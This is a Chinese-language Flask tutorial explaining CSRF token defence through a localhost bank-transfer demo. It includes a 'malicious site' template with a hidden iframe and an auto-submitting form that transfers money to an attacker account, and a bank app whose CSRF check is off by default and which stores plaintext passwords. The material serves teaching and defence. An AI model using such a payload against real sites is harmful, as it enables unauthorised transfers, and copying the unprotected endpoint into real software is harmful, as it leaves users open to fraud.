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朱广蔚 · 更新于 2021-01-04

CSRF 攻击和防御原理

RESTful 架构规范介绍

Flask 防御 CSRF 攻击

在上一个小节中讲解了 CSRF 攻击与防御的原理，本小节首先讲解了基于校验 Token 检测 CSRF 攻击的基本思想和步骤，然后通过一个银行转账的实例演示了 CSRF 的攻击与防御。

1. 基于校验 Token 检测 CSRF 攻击

1.1 基本思想

在 Flask 中防御 CSRF 攻击的最常见方法是基于校验 Token 检测 CSRF 攻击，它的基本思想如下：

在服务端生成一个随机的、不可预测的字符串，该字符串称为 CSRF Token；
客户获取安全相关的页面时，服务端将 CSRF Token 作为隐藏字段发送给客户端；
客户端提出请求时，将页面的中的隐藏字段一并发送给服务端；
服务端处理请求时，提取请求中的 CSRF Token，与服务端生成的 CSRF Token 进行比对，如果相同则请求是合法的，如果不相同则请求是 CSRF 攻击。

因为 CSRF Token 的值是随机的、不可预测的，攻击者无法构造一个带有合法 CSRF Token 的请求实施 CSRF 攻击，从而阻断了 CSRF 攻击。

1.2 具体的步骤

以一个银行转账的例子说明防御 CSRF 攻击的具体步骤，如下图所示：

1. 登录

用户输入账户名和密码登录。

2. 验证通过

账户名和密码匹配，则验证通过。

3. 生成 CSRF Token

用户验证通过后，服务端生成一个随机的、不可预测的字符串 CSRF Token，并将它存储在 Session 中。

4. 访问转账页面

用户访问转账页面。

5. 返回转账页面

服务端返回转账页面的 HTML，将存储在 Session 中的 CSRF Token 作为隐藏字段返回给客户端。例如，服务端返回的转账页面可能如下：

<form action="/transfer" method="POST">
  <input type="hidden" name="csrfToken" value="IZiglWi1k2e3z!m@z$">
  <input type="text" name="name" placeholder="接收用户" />
  <input type="text" name="amount" placeholder="转账数量" />
  <input type="submit" name="submit" value="转账">
</form>

在第 2 行，名称为 csrfToken 的隐藏字段包含了 CSRF Token 的值，字符串 “IZiglWi1k2e3z!m@z$” 是随机的、无法被猜测的，即攻击者无法获取 CSRF Token、无法构造一个合法的转账请求。

6. 转账请求

客户端发出转账请求，将隐藏字段 CSRF Token 一并发送给服务端。

7. 比对 Token

服务端收到转账请求后，提取请求中的 CSRF Token，与服务端生成的 CSRF Token 进行比对，如果相同则请求是合法的，如果不相同则请求是 CSRF 攻击。

2. 演示 CSRF 的攻击与防御

2.1 程序简介

本节通过具体的案例演示 CSRF 的攻击与防御，案例中的假设如下：

银行网站，提供在线转账功能；
银行网站中有两个用户：受害者 victim 和攻击者 hacker，他们的账户中各有 100 元；
恶意网站，由攻击者 hacker 创办，当受害者 victim 没有退出银行网站的情况下，去访问恶意网站，会在不知情的情况下，向 hacker 转账 50 元。

为了演示 CSRF 攻击与防御，本节包括了 2 个程序：

程序	源代码目录	首页 URL
银行网站	bank	http://localhost:8888
恶意网站	malicious	http://localhost:4444

银行网站和恶意网站运行在同一台机器上，通过端口号区分：银行网站监听端口 8888，恶意网站监听端口 4444。

2.2 演示 CSRF 攻击

下面的视频演示了 CSRF 攻击的操作过程：

2.3 演示防御 CSRF 攻击

下面的视频演示了防御 CSRF 攻击的操作过程：

2. 实现 bank 程序

2.1 程序下载

bank 程序实现了银行网站的功能，包括 2 个源文件，点击下载例子代码 bank。：

源文件	功能
bank/app.py	后端服务程序
bank/templates/index.html	首页模板文件

2.2 首页模板 templates/index.html

2.2.1 登录后的界面

用户访问网站首页时，根据是否登录显示不同的内容，如果用户已经登录，则显示如下：

<html>
<head>
<meta charset='utf-8'>
<title>中国银行</title>
</head>

<body>
<h1>中国银行</h1>

{% if hasLogin %}
<h2>1. 基本信息</h2>
<h3>你好, {{user.name}}，你的账户剩余 {{user.amount}} 元</a></h3>
<h2>2. 转账</h2>
<form action="/transfer" method="POST">
  <input type="hidden" name="csrfToken" value="{{ csrfToken }}">
  <input type="text" name="name" placeholder="接收用户" />
  <input type="text" name="amount" placeholder="转账数量" />
  <input type="submit" name="submit" value="转账">
</form>
<h2>3. 退出</h2>
<form action="/logout" method="POST">
  <input type="submit" name="submit" value="退出">
</form>

在第 10 行，如果参数 hasLogin 为真，表示用户已经登录，则显示在第 11 行到第 23 行的内容。

在第 11 行到第 12 行，显示用户的基本信息：姓名和账户余额。

在第 13 行到第 19 行，显示用于转账的表单，使用 POST 方法向服务端的 /transfer 页面提出转账请求；字段 csrfToken 存储了服务端发送的 CSRF Token，提交表单时，会将该字段一并提交；字段 name 是转账的接收账户名；字段 amount 是转账的数量。

在第 20 行到第 23 行，使用 POST 方法向服务端的 /logout 页面退出登录。

2.2.2 没有登录的界面

用户访问网站首页时，根据是否登录显示不同的内容，如果用户还没有登录，则显示如下：

{% else %}
<h2>登录</h2>
<form action="/login" method="POST">
  <input type="text" name="name" placeholder="用户" />
  <input type="password" name="password" placeholder="密码" />
  <input type="submit" name="submit" value="登录">
</form>
{% endif %}

</body>
</html>

在第 2 行到第 7 行，显示用于登录的表单，使用 POST 方法向服务端的 /login 页面登录。

2.3 后端服务 app.py

2.3.1 引入相关模块

#!/usr/bin/python3
from flask import Flask, request, session, render_template, redirect
import os, base64
import sys

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

在第 2 行，引入 os 模块和 base64 模块，需要使用 os.urandom 和 b64encode 用于生成 CSRF Token。

在第 7 行，Flask 程序在使用 Session 时，需要配置 SECRET_KEY。

2.3.2 用户数据库

class User:
    def __init__(self, name, password, amount):
        self.name = name
        self.password = password
        self.amount = amount

users = [
    User('victim', '123', 100),
    User('hacker', '123', 100)
]

def findUser(name):
    for user in users:
        if user.name == name:
            return user
    return None

def checkUser(name, password):
    for user in users:
        if user.name == name and user.password == password:
            return user
    return None

在第 1 行，定义类 User 用于描述银行账户信息，包括：姓名、密码、账户余额等属性。

在第 7 行，预定义了两个用户：victim 和 hacker，将它们存储在全局变量 users 中。

在第 12 行，定义函数 findUser，在 users 中根据姓名查找 user。

在第 18 行，定义函数 checkUser，在 users 中根据姓名和密码查找 user。

2.3.3 首页面

@app.route('/')
def index():
    hasLogin = session.get('hasLogin')
    name = session.get('name')
    user = findUser(name)
    csrfToken = getCsrfToken()
    session['csrfToken'] = csrfToken
    return render_template('index.html', hasLogin = hasLogin, user = user, csrfToken = csrfToken)

设置首页面 / 的处理函数为 index，函数在 session 中查找 hasLogin、name、csrfToken 变量，将它们传递给页面模板 index.html。

在第 6 行，调用函数 getCsrfToken() 生成一个随机的、不可预测的 CSRF Token，并将其存储在 Session 中。

2.3.4 登录页面

@app.route('/login', methods = ['POST'])
def login():
    name = request.form['name']
    password = request.form['password']
    user = checkUser(name, password)
    if user != None:
        session['hasLogin'] = True
        session['name'] = name
        return redirect('/')
    else:
        return '登录失败'

设置页面 /login 的处理函数为 login，该函数首先提取请求中的 name 和 password，然后调用 checkUser 在所有的 users 中查找匹配的 User。

如果找到了匹配的 User，则设置 Session 中的 hasLogin 为真，调用 redirect(’/’) 让客户端浏览器重定向到首页面。

2.3.5 退出页面

@app.route('/logout', methods = ['POST'])
def logout():
    session['hasLogin'] = False
    session['name'] = None
    return redirect('/')

设置页面 /logout 的处理函数为 logout，该函数设置 Session 中的 hasLogin 为假，调用 redirect(’/’) 让客户端浏览器重定向到首页面。

2.3.5 检查 CSRF 攻击

def getCsrfToken():
    return bytes.decode(base64.b64encode(os.urandom(16)))

def checkCsrfAttack():
    csrfTokenFromRequest = request.form.get('csrfToken')
    csrfTokenFromSession = session.get('csrfToken')
    return csrfTokenFromRequest != csrfTokenFromSession

函数 getCsrfToken 返回一个随机的字符串，os.urandom(16) 产生一个包含 16 个字节的 bytes，base64.b64encode 将 bytes 转换为 base64 编码的字符串。

函数 checkCsrfAttack 检测 CSRF 攻击，在第 5 行，从请求的表单中获取参数 csrfToken，在第 6 行，从 Session 中获取变量 csrfToken。对两者进行比较，如果相等，表示此次请求合法；如果不相等，表示此次请求是 CSRF 攻击。

2.3.6 转账页面

@app.route('/transfer', methods = ['POST'])
def transfer():
    if not session.get('hasLogin'):
        return '请先登录'

    if checkFlag and checkCsrfAttack():
        print('警告：检测到 CSRF 攻击!')
        return '转账失败'

    sourceName = session['name']
    sourceUser = findUser(sourceName)

    targetName = request.form['name']
    amount = int(request.form['amount'])
    targetUser = findUser(targetName)

    if targetUser != None:
        sourceUser.amount -= amount
        targetUser.amount += amount
        return redirect('/')
    else:
        return '转账失败'

设置页面 /transfer 的处理函数为 transfer。在第 3 行，如果 Session 中的 hasLogin 变量未假，表示请求来自于未登录的用户，返回 ‘转账失败’。

在第 6 行，如果 checkFlag 为真并且 checkCsrfAttack 函数检测到了 CSRF 攻击，在控制台打印 CSRF 的警告，返回 ‘转账失败’。如果 checkFlag 为假，程序不检测 CSRF 攻击。

在第 10 行到第 15 行，获取来源账户，并从转账请求中获取参数：转账数量、接受账户。

在第 18 行和第 19 行，进行转账操作，最后调用 redirect(’/’) 让客户端浏览器重定向到首页面。

2.3.6 设置选项

checkFlag = False
if len(sys.argv) == 2 and sys.argv[1] == 'check':
    checkFlag = True

app.run(debug = True, port = 8888)

设置全局变量 checkFlag，如果 checkFlag 为真，程序检测 CSRF 攻击；如果 checkFlag 为假，程序不检测 CSRF 攻击。

3. 实现 malicious 程序

3.1 程序下载

malicious 程序实现了恶意网站的功能，包括 2 个源文件，点击下载例子代码 malicious。：

源文件	功能
bank/app.py	后端服务程序
bank/templates/index.html	首页模板文件

3.2 首页模板 templates/index.html

恶意网站的页面包括两部分：

正常显示的部分
实施 CSRF 攻击的代码

3.2.1 正常显示的部分

<html>
<head>
<meta charset='utf-8'>
<title>恶意网站</title>
</head>

<body>
<h1>恶意网站</h1>
<ul>
  <li>在网站中放置吸引人的内容，例如赌博、色情、盗版小说等，吸引人来访问
  <li>如果用户已经登录了某银行网站，访问恶意网站首页时，自动向银行网站发起转账请求
</ul>

通常恶意网站会放置吸引人的内容，例如赌博、色情、盗版小说等，诱导受害者来访问。

3.2.2 隐藏 iframe 和表单

<style>
iframe {
    display: none;
}

form {
    display: none;   
}
</style>

CSRF 攻击需要使用 HTML 中的 iframe 和表单元素，因此在恶意网站中设置 CSS 属性，让 iframe 和表单隐藏不可见。

3.2.3 实施 CSRF 攻击的代码

<iframe name="iframe"></iframe>

<form action="http://localhost:8888/transfer" method="POST" target='iframe'>
  <input type="text" name="name" value="hacker" placeholder="接收用户"/>
  <input type="text" name="amount" value="50" placeholder="转账数量"/>
  <input type="submit" id="submit" value="转账">
</form>

<script>
var submit = document.getElementById('submit');
submit.click();
</script>

</body>
</html>

在第 3 行，定义了一个提交转账请求的表单，相关属性如下：

action 是银行转账的页面；
target 指向一个 iframe，向银行网站提交表单请求后，在指定的 iframe 中显示银行网站的返回的内容，因为 iframe 被设置为不可见，因此访问者察觉不到访问银行转账的操作；
名称为 ‘name’ 的文本字段是转账的接收账户，值为 hacker，表示向 hacker 转账；
名称为 ‘amount’ 的文本字段是转账的数量，值为 50，表示转账 50 元。

在第 10 行，获取表单中的提交按钮，在第 11 行，模拟点击提交按钮，向银行发起转账请求。

3.3 后端服务 app.py

#!/usr/bin/python3
from flask import Flask, render_template
app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug = True, port = 4444)

在第 5 行，访问页面 / 时，服务端返回页面模板 index.html；在第 10 行，在端口号 4444 上进行监听。

4. 小结

本小节了基于校验 Token 检测 CSRF 攻击的方法，然后通过一个银行转账的实例演示了 CSRF 的攻击与防御，使用思维导图概括如下：

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